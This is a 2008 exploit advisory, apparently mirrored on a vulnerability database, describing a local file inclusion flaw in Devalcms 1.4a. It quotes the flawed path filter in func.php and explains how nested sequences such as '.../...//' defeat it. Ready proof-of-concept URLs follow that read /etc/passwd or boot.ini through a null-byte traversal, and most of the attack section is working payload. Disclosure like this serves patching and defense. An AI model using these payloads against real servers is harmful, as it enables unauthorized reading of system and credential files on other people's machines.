Devalcms 1.4a (currentfile) Local File Inclusion Vulnerability

🗓️ 16 Jun 2008 00:00:00Reported by RootType
Devalcms 1.4a Local File Inclusion Vulnerability, June 15, 2008, magic_quotes_gpc Off, Vulnerable in func.php, allows bypass of mystriprelative function to include arbitrary file

                                                =====================================================
&nbsp;&nbsp;Devalcms&nbsp;&nbsp;1.4a&nbsp;Local&nbsp;File&nbsp;Inclusion&nbsp;Vulnerability
=====================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'

AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;15&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
APPLICATION&nbsp;:&nbsp;Devalcms
VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;1.4a
DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://downloads.sourceforge.net/devalcms
#####################################################

---&nbsp;LFI&nbsp;---

**&nbsp;magic_quotes_gpc&nbsp;=&nbsp;Off&nbsp;**

-------------------------
&nbsp;Vulnerable&nbsp;in&nbsp;func.php
-------------------------
@Line&nbsp;
&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;13:&nbsp;&nbsp;$myfile&nbsp;=&nbsp;$gv_folder_data&nbsp;.&nbsp;$currentpath&nbsp;.&nbsp;&quot;/&quot;&nbsp;.&nbsp;$myfile;
&nbsp;&nbsp;&nbsp;14:
&nbsp;&nbsp;&nbsp;15:&nbsp;&nbsp;if(is_file($myfile)){
&nbsp;&nbsp;&nbsp;16:&nbsp;&nbsp;	include($myfile);
&nbsp;&nbsp;&nbsp;17:&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;18:&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;not&nbsp;found&quot;;
&nbsp;&nbsp;&nbsp;19:&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;.
&nbsp;&nbsp;&nbsp;&nbsp;.
&nbsp;&nbsp;&nbsp;&nbsp;.
&nbsp;&nbsp;&nbsp;98:&nbsp;function&nbsp;mystriprelative($mytext)
&nbsp;&nbsp;&nbsp;99:&nbsp;{
&nbsp;&nbsp;100:	$mytext2&nbsp;=&nbsp;$mytext;
&nbsp;&nbsp;101:	$mytext2&nbsp;=&nbsp;str_replace(&quot;/..&quot;,&quot;&quot;,$mytext2);
&nbsp;&nbsp;102:	$mytext2&nbsp;=&nbsp;str_replace(&quot;\\..&quot;,&quot;&quot;,$mytext2);
&nbsp;&nbsp;103:	$mytext2&nbsp;=&nbsp;str_replace(&quot;../&quot;,&quot;&quot;,$mytext2);
&nbsp;&nbsp;104:	$mytext2&nbsp;=&nbsp;str_replace(&quot;..\\&quot;,&quot;&quot;,$mytext2);
&nbsp;&nbsp;105:	return&nbsp;$mytext2;	
&nbsp;&nbsp;106:&nbsp;}
&nbsp;&nbsp;&nbsp;
-------------------------
&nbsp;Detail&nbsp;of&nbsp;vulnerability
-------------------------
&nbsp;&nbsp;&nbsp;&nbsp;Function&nbsp;mystriprelative&nbsp;is&nbsp;a&nbsp;function&nbsp;to&nbsp;prevent&nbsp;user&nbsp;from&nbsp;inserting&nbsp;relative&nbsp;path&nbsp;into&nbsp;variable.
As&nbsp;the&nbsp;code&nbsp;above,&nbsp;you&nbsp;can&nbsp;bypass&nbsp;this&nbsp;fuction&nbsp;by&nbsp;something&nbsp;like&nbsp;following

Simple&nbsp;Algorithm:

[+]&nbsp;When&nbsp;we&nbsp;use&nbsp;&quot;.../...//&quot;&nbsp;Function&nbsp;will&nbsp;convert&nbsp;to&nbsp;&quot;../&quot;
[+]&nbsp;When&nbsp;we&nbsp;use&nbsp;&quot;./.....//&quot;&nbsp;Function&nbsp;will&nbsp;convert&nbsp;to&nbsp;&quot;../&quot;
[+]&nbsp;When&nbsp;we&nbsp;use&nbsp;&quot;.../...//./.....//&quot;&nbsp;Function&nbsp;will&nbsp;convert&nbsp;to&nbsp;&quot;../../&quot;

&nbsp;&nbsp;&nbsp;&nbsp;So&nbsp;we&nbsp;must&nbsp;use&nbsp;&quot;.../...//./.....//./.....//etc/passwd%00&quot;&nbsp;Function&nbsp;will&nbsp;convert&nbsp;to&nbsp;&quot;../../../etc/passwd%00&quot;

-------------
&nbsp;POC&nbsp;Exploit
-------------

For&nbsp;Windows:
[+]&nbsp;http://[Target]/[devalcms_path]/index.php?currentpath=..&amp;currentfile=.../...//./.....//./.....//boot.ini%00

For&nbsp;Linux:
[+]&nbsp;http://[Target]/[devalcms_path]/index.php?currentpath=..&amp;currentfile=.../...//./.....//./.....//etc/passwd%00

##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
16 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1